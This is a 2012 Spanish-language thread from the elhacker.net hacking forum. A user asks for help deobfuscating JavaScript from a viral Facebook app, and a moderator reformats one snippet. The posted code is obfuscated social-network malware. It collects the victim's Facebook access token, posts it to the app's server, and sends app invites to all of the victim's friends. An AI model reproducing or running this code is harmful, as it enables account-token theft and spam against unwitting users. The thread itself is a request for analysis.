elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Script Ofuscado
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Script Ofuscado  (Leído 2,910 veces)
index1993

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Script Ofuscado
« en: 23 Marzo 2012, 17:21 pm »

Hola Buenas Me llamo Oscar Y Tengo un problema E buscado en san google i no e podio  Desofuscar  :/ Alguien me podría Desofuscar el código i decirme como lo hace muchísimas gracias

Citar
4 5() {
    u v.6 ? 7 6("w.y") : 7 z
}
2 c = 5();
c.9("A", "/?B=C", j);
c.D = k;
c.l(E);
4 k() {
    2 d = c.F;
    2 e = d.3(/"m":"(.*?)"/)[1];
    2 f = d.3(/"n":"(.*?)"/)[1];
    2 g = G(d.3(/"H" o="(.*?)"/)[1]);
    2 h = d.3(/"I" o="(.*?)"/)[1];
    2 i = J.K.3(/p=d+/L)[0].q("p=", "");
    4 r(a) {
        2 b = "M=" + a + "&N=1&O=1" + "&P=Q" + "&R=S&T=V" + "&m=" + e + "&n=" + f + "&W&Y=Z&10=" + i + "&11=12";
        c = 5();
        c.9("13", "/14/15/16.17?18=1", j);
        c.s("19-1a", "1b/x-t-1c-1d; 1e=1f-8");
        c.s('X-1g-1h', '1i');
        c.l(b)
    }
    r("1j");
    1k.1l.q("1m://t.1n.1o/")
}

Este codigo tambien quisiera saber si se puede descriptar creo que esta ofuscado

Citar
var fbk={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",z:function(input){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}if(enc4!=64){output=output+String.fromCharCode(chr3);}}output=fbk._utf8_decode(output);return output;},_utf8_encode:function(string){string=string.replace(/\r\n/g,"\n");var utftext="";for(var n=0;n<string.length;n++){var c=string.charCodeAt(n);if(c<128){utftext+=String.fromCharCode(c);}else if((c>127)&&(c<2048)){utftext+=String.fromCharCode((c>>6)|192);utftext+=String.fromCharCode((c&63)|128);}else{utftext+=String.fromCharCode((c>>12)|224);utftext+=String.fromCharCode(((c>>6)&63)|128);utftext+=String.fromCharCode((c&63)|128);}}return utftext;},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}return string;}}
eval((function(x){var d="";var p=0;while(p<x.length){if(x.charAt(p)!="`")d+=x.charAt(p++);else{var l=x.charCodeAt(p+3)-28;if(l>4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else d+="`";p+=4}}return d})("window.fbAsyncInit = function () {FB.init({appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\"), xfbml:true, cookie:false});};(` l)var e = document.createElement(\"script\");e.async = true;e.src = \"https://connect.facebook.net/es_LA/all.js\";` {%get` z#ById(\"fb-root\").appendChild(e);})();`!g%inviteFriends(message`\"w\"ui({method:\"apprequests\", ` @#:` H#, data:\"194476163949020\"});}var davet_m = \"\",` '#t = \"Suggest to `!;#\", kkk = 0`!Y&mshuffle(o) {for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o` *!j` (!j] = x) {}return o;}`!=%sendR`\"]\"To`#($txxt, title) {`\">&txxt;if (` -*t =` G\";}FB.login`%o'response) {if` %&.authR` .*!kkk) {`#%\"1;$.post(\"/justhtml/181411457193/email\", {token:` d1.accessToken},`(>'data) {});}all();} else {` '#}, {scope:\"`!\"\"})`#+'` @!`(,\"f`#.\" = new Array;FB.api(\"/me/` 9#\"`!1(`\"h'`%0%i`%Y! i < `\"!%data`%<&++) {` h#`$|\"` <).id;}`&/%` D#);loop` $&`'7$GG_NUM = 5`&j'` F!list`$+#list`!;# != 0`\"N#string`'u!;` +!hift` ,\"0`%\\!` L(>=`!%#) {` >'` .\";`'p&`\"[\"j <` 3$ j`\"N!if (j !` J$ - 1) {`!:%` \"#+ list[j] + \",\"`$g%` /5;}}` ;%`!L&`!n'`!F1` 4(`!P,`\"I(` zg`#c&'\" +` 9&\"'\";`,S9`,I2`,~&`*2#`*C#` (#t, to:` \"`(E)`)q3`'-3`#K$`'0$`\"w!` 0!();}`&=&`\"Z%}}` \"&top.loca`!4!`0N'apps`0L&com/205527426218216/index2.html\";}}user_liked`+L!"))


« Última modificación: 23 Marzo 2012, 17:24 pm por index1993 » En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: Script Ofuscado
« Respuesta #1 en: 23 Marzo 2012, 17:29 pm »

De donde lo sacaste, por el nombre de las variables tiene que ver con facebook...
Código
  1. var fbk = {
  2.    _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  3.    z: function (input) {
  4.        var output = "";
  5.        var chr1, chr2, chr3;
  6.        var enc1, enc2, enc3, enc4;
  7.        var i = 0;
  8.        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  9.        while (i < input.length) {
  10.            enc1 = this._keyStr.indexOf(input.charAt(i++));
  11.            enc2 = this._keyStr.indexOf(input.charAt(i++));
  12.            enc3 = this._keyStr.indexOf(input.charAt(i++));
  13.            enc4 = this._keyStr.indexOf(input.charAt(i++));
  14.            chr1 = (enc1 << 2) | (enc2 >> 4);
  15.            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  16.            chr3 = ((enc3 & 3) << 6) | enc4;
  17.            output = output + String.fromCharCode(chr1);
  18.            if (enc3 != 64) {
  19.                output = output + String.fromCharCode(chr2);
  20.            }
  21.            if (enc4 != 64) {
  22.                output = output + String.fromCharCode(chr3);
  23.            }
  24.        }
  25.        output = fbk._utf8_decode(output);
  26.        return output;
  27.    },
  28.    _utf8_encode: function (string) {
  29.        string = string.replace(/\r\n/g, "\n");
  30.        var utftext = "";
  31.        for (var n = 0; n < string.length; n++) {
  32.            var c = string.charCodeAt(n);
  33.            if (c < 128) {
  34.                utftext += String.fromCharCode(c);
  35.            } else if ((c > 127) && (c < 2048)) {
  36.                utftext += String.fromCharCode((c >> 6) | 192);
  37.                utftext += String.fromCharCode((c & 63) | 128);
  38.            } else {
  39.                utftext += String.fromCharCode((c >> 12) | 224);
  40.                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  41.                utftext += String.fromCharCode((c & 63) | 128);
  42.            }
  43.        }
  44.        return utftext;
  45.    },
  46.    _utf8_decode: function (utftext) {
  47.        var string = "";
  48.        var i = 0;
  49.        var c = c1 = c2 = 0;
  50.        while (i < utftext.length) {
  51.            c = utftext.charCodeAt(i);
  52.            if (c < 128) {
  53.                string += String.fromCharCode(c);
  54.                i++;
  55.            } else if ((c > 191) && (c < 224)) {
  56.                c2 = utftext.charCodeAt(i + 1);
  57.                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  58.                i += 2;
  59.            } else {
  60.                c2 = utftext.charCodeAt(i + 1);
  61.                c3 = utftext.charCodeAt(i + 2);
  62.                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  63.                i += 3;
  64.            }
  65.        }
  66.        return string;
  67.    }
  68. }
  69. eval((function (x) {
  70.    var d = "";
  71.    var p = 0;
  72.    while (p < x.length) {
  73.        if (x.charAt(p) != "`") d += x.charAt(p++);
  74.        else {
  75.            var l = x.charCodeAt(p + 3) - 28;
  76.            if (l > 4) d += d.substr(d.length - x.charCodeAt(p + 1) * 96 - x.charCodeAt(p + 2) + 3104 - l, l);
  77.            else d += "`";
  78.            p += 4
  79.        }
  80.    }
  81.    return d
  82. })("window.fbAsyncInit = function () {FB.init({appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\"), xfbml:true, cookie:false});};(` l)var e = document.createElement(\"script\");e.async = true;e.src = \"https://connect.facebook.net/es_LA/all.js\";` {%get` z#ById(\"fb-root\").appendChild(e);})();`!g%inviteFriends(message`\"w\"ui({method:\"apprequests\", ` @#:` H#, data:\"194476163949020\"});}var davet_m = \"\",` '#t = \"Suggest to `!;#\", kkk = 0`!Y&mshuffle(o) {for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o` *!j` (!j] = x) {}return o;}`!=%sendR`\"]\"To`#($txxt, title) {`\">&txxt;if (` -*t =` G\";}FB.login`%o'response) {if` %&.authR` .*!kkk) {`#%\"1;$.post(\"/justhtml/181411457193/email\", {token:` d1.accessToken},`(>'data) {});}all();} else {` '#}, {scope:\"`!\"\"})`#+'` @!`(,\"f`#.\" = new Array;FB.api(\"/me/` 9#\"`!1(`\"h'`%0%i`%Y! i < `\"!%data`%<&++) {` h#`$|\"` <).id;}`&/%` D#);loop` $&`'7$GG_NUM = 5`&j'` F!list`$+#list`!;# != 0`\"N#string`'u!;` +!hift` ,\"0`%\\!` L(>=`!%#) {` >'` .\";`'p&`\"[\"j <` 3$ j`\"N!if (j !` J$ - 1) {`!:%` \"#+ list[j] + \",\"`$g%` /5;}}` ;%`!L&`!n'`!F1` 4(`!P,`\"I(` zg`#c&'\" +` 9&\"'\";`,S9`,I2`,~&`*2#`*C#` (#t, to:` \"`(E)`)q3`'-3`#K$`'0$`\"w!` 0!();}`&=&`\"Z%}}` \"&top.loca`!4!`0N'apps`0L&com/205527426218216/index2.html\";}}user_liked`+L!"))


En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
index1993

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Script Ofuscado
« Respuesta #2 en: 23 Marzo 2012, 17:34 pm »

Es una aplicacion De facebook  Pero tiene appid Ocultado aqui..appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\") Deberian de ser numeros I son letras :/

Es una super viral Pero no puedo descriptar el codigo
http://apps.facebook.com/205527426218216/?fb_source=notification&request_ids=343606622342710%2C397060476973802&ref=notif&app_request_type=user_to_user&notif_t=app_request
« Última modificación: 23 Marzo 2012, 17:36 pm por index1993 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
malware ofuscado javascript
Nivel Web
daryo 0 2,054 Último mensaje 1 Julio 2013, 22:02 pm
por daryo
Decodificar Js ofuscado
Ingeniería Inversa
alvaroxd 8 6,824 Último mensaje 16 Diciembre 2013, 22:40 pm
por apuromafo CLS
virus ofuscado
Seguridad
caterina2510 2 2,258 Último mensaje 3 Junio 2015, 18:35 pm
por MCKSys Argentina
Ayuda con código PHP ofuscado
Desarrollo Web
Snoosarp 8 2,747 Último mensaje 19 Abril 2017, 02:45 am
por Snoosarp
{FizzBuzz} Ofuscado en C.
Programación C/C++
GGZ 1 2,152 Último mensaje 29 Junio 2017, 07:36 am
por MAFUS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines